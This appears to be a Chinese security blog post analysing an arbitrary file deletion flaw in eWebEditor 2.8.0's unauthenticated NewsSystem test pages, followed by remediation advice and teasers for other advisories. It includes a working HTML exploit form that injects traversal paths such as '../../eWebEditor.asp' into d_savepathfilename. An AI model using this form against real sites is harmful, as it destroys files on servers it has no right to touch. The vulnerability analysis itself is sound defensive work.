Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法                
                
                    所属分类:
                        网络安全 / 漏洞分析                    
                    阅读数:
                        131
                    
                        收藏 0赞 0分享
                    
                 
                
                    此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码: 
' 把带"|"的字符串转为数组 
Dim aSavePathFileName 
aSavePathFileName = Split(sSavePathFileName, "|") 
' 删除新闻相关的文件,从文件夹中 
Dim i 
For i = 0 To UBound(aSavePathFileName) 
' 按路径文件名删除文件 
Call DoDelFile(aSavePathFileName(i)) 
Next 
而aSavePathFileName是前面从数据库取出来的: 
sSavePathFileName = oRs("D_SavePathFileName") 
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里: 
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename")) 
... 
oRs("D_SavePathFileName") = sSavePathFileName 
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里: 
Function GetSafeStr(str) 
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "") 
End Function 
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了! 
下面给出利用的htm: 
<HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE> 
<style>body,p,td,input {font-size:9pt}</style> 
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a> 
<b>增加新闻</b> 
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
method="post" name="myform"> 
<input type=hidden name=d_originalfilename> 
<input type=hidden name=d_savefilename> 
<table cellspacing=3 align=center> 
<tr><td>要删的文件(相对路径就可以了):</td> 
<td><input type="text" name="d_savepathfilename" value="" size="90"></td> 
</tr> 
<tr><td>新闻标题(随便填):</td> 
<td><input type="text" name="d_title" value="" size="90"></td> 
</tr> 
<tr><td>标题图片:</td> 
<td><select name="d_picture" size=1><option value=''>无</option></select> 
当编辑区有插入图片时,将自动填充此下拉框</td> 
</tr> 
<tr><td>新闻内容(随便填):</td> 
<td><textarea name="d_content"></textarea></td> 
</tr> 
</table> 
<input type=submit name=btnSubmit value=" 提 交 "> 
<input type=reset name=btnReset value=" 重 填 "> 
</form> 
</BODY></HTML> 
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历! 
解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。                                    
             
            
                
                2007年12月网络安全漏洞总结
 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考
  1.2007-12-11 Microsoft消息队列服务栈溢出漏洞
  综述:
  Microsoft Windows是微软发布的非常流行的操
                    
                    收藏 0赞 0分享
OmniPCX Enterprise存在远程命令注入漏洞
受影响系统:  
Alcatel-Lucent OmniPCX Enterprise <= 7.1  
不受影响系统:  
Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19  
Alcatel-Luc
                    
                    收藏 0赞 0分享
Sun Java jpiexp32.dll对象名称含空指针引用漏洞
受影响系统: 
Sun JRE < 5.0 Update 14 
不受影响系统: 
Sun JRE 5.0 Update 14 
描述: 
Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。  
JRE处理畸
                    
                    收藏 0赞 0分享
InterBase和Firebird远程栈缓冲区溢出漏洞
受影响系统: 
Borland InterBase WI-V8.1.0.257 
Borland InterBase WI-V8.0.0.123 
Borland InterBase WI-V7.5.1.80 
Borland InterB
                    
                    收藏 0赞 0分享
IE 存在document.open()方式地址欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft
                    
                    收藏 0赞 0分享
Microsoft IE onunload事件地址栏欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft Internet Ex
                    
                    收藏 0赞 0分享
F2blog XMLRPC 上传任意文件漏洞
刚从官方下载的最新版:F2blog-v1.2_build_03.01_full
存在漏洞文件:xmlrpc.php,
影响:可上传任意文件到服务器。
原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
                    
                    收藏 0赞 0分享
FTP客户端目录遍历漏洞可向任意位置写文件
FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。  
    受影
                    
                    收藏 0赞 0分享
                 查看更多